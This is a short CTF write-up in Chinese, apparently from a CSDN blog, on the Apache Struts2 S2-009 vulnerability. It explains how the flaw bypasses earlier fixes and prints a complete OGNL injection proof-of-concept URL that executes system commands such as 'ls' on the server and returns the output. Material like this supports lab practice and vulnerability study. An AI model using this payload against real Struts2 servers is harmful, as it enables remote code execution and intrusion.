buuctf [struts2]s2-009

最新推荐文章于 2024-07-16 08:37:37 发布

exploitsec

最新推荐文章于 2024-07-16 08:37:37 发布

阅读量396

点赞数

分类专栏： buuctf real 文章标签：安全漏洞

本文链接：https://blog.csdn.net/qq_36241198/article/details/115062002

版权

buuctf real 专栏收录该内容

47 篇文章 7 订阅

订阅专栏

本文详细解析了Struts2的s2-003和s2-005漏洞，阐述了攻击者如何通过编码手段绕过修复措施执行恶意OGNL表达式。文中提供了一个POC，展示了如何利用这些漏洞执行系统命令并获取环境变量，例如执行'whoami'命令。

摘要由CSDN通过智能技术生成

漏洞描述

这个漏洞跟s2-003 s2-005 属于一套的。
Struts2对s2-003的修复方法是禁止#号，于是s2-005通过使用编码\u0023或\43来绕过；于是Struts2对s2-005的修复方法是禁止\等特殊符号，使用户不能提交反斜线。
但是，如果当前action中接受了某个参数example，这个参数将进入OGNL的上下文。所以，我们可以将OGNL表达式放在example参数中，然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法来执行它，从而绕过官方对#、\等特殊字符的防御

在这里插入图片描述

POC
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

在这里插入图片描述打印环境变量ENV

whoami